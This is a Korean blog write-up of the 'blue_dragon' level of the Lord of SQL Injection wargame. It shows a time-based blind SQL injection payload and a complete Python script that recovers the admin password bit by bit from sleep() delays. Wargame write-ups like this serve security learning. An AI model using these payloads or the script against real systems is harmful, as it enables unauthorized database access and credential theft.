Web Hacking/LOS

Lord of SQL Injection - blue_dragon

Lucvs 2021. 8. 29. 09:00

우리의 친구 백슬래시를 잃었다. 문자열 탈출을 어떻게 할까가 매우 고민이었다. 백슬래시를 우회할 방법은 없는 것 같다. 또한 든든한 지원군 싱글쿼터도 읽었다. 청룡의 공격에 큰 피해를 입었다.

 

그런데 가만히 코드를 보면 mysqli_fetch_array 함수를 실행한 '이후'에 싱글쿼터와 백슬래시를 필터링하여 "No Hack ~_~" 이라는 문자열을 출력하는 페이지로 exit 시키고 있다. 싱글쿼터나 백슬래시를 이용하는 방법으로는 'Hello admin"이라는 문자열을 볼 수 없겠지만, 시간 측정 함수도 풀려있는 마당에 "No Hack" 페이지로 exit 되기 전까지 sleep 함수로 응답 시간을 지연시킬 수 있을 것 같다.

 

한번 해보자. 우선 간단한 참값을 넣어보자.

 

 

?id=' or if(1,sleep(3),1)%23

sleep(3) 인데 무려 6초가 넘게 소요되었다. 일단 페이지 응답 시간이 지연되는 것은 잘 작동한다. 뭐 여기까지 확인하면 Time-Based SQL Injection 수행하면 된다.

 

import requests
import time

requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
header  = {'Cookie': 'PHPSESSID='}
session = requests.session()



# Check Length of PW
pw_length = 0
start     = 0
end       = 0

for i in range(0, 100):
    payload = "?id=' or if(id='admin' and length(pw)=" + str(i) + ",sleep(1),1)%23" 
    
    start = time.time()
    res   = session.get(url = org_url + payload, headers=header, verify=False)
    end   = time.time() - start
    
    if end > 1:
        pw_length = i
        print("Length of PW is [ %d ]\n" % i)
        break

        

# Check Bit_Length of PW & Brute Force
pw_bit_length = 0
password_bit  = ''
password      = ''

for i in range(1, pw_length + 1):
    for j in range(0, 20):
        payload = "?id=' or if(id='admin' and length(bin(ord(substr(pw," + str(i) + ",1))))=" + str(j) + ",sleep(1),1)%23"
        
        start = time.time() 
        res   = session.get(url = org_url + payload, headers=header, verify=False)
        end   = time.time() - start
        
        if end > 1:
            pw_bit_length = j
            print("[%d-th] Bit_Length of PW is [ %d ]" % (i, j))
        
            for k in range(1, j + 1):
                payload = "?id=' or if(id='admin' and substr(bin(ord(substr(pw," + str(i) + ",1)))," + str(k) + ",1)=1,sleep(1),1)%23"
                
                start = time.time() 
                res   = session.get(url = org_url + payload, headers=header, verify=False)
                end   = time.time() - start
                
                if end > 1:
                    password_bit += "1"
    
                else:
                    password_bit += "0"

            print(password_bit + "->" + chr(int(password_bit, 2)))
            password += chr(int(password_bit, 2))
            password_bit = ''
            break
                
                

# Result
print("\n\nRESULT\n------------------")
print("PW --> %s\n" % password)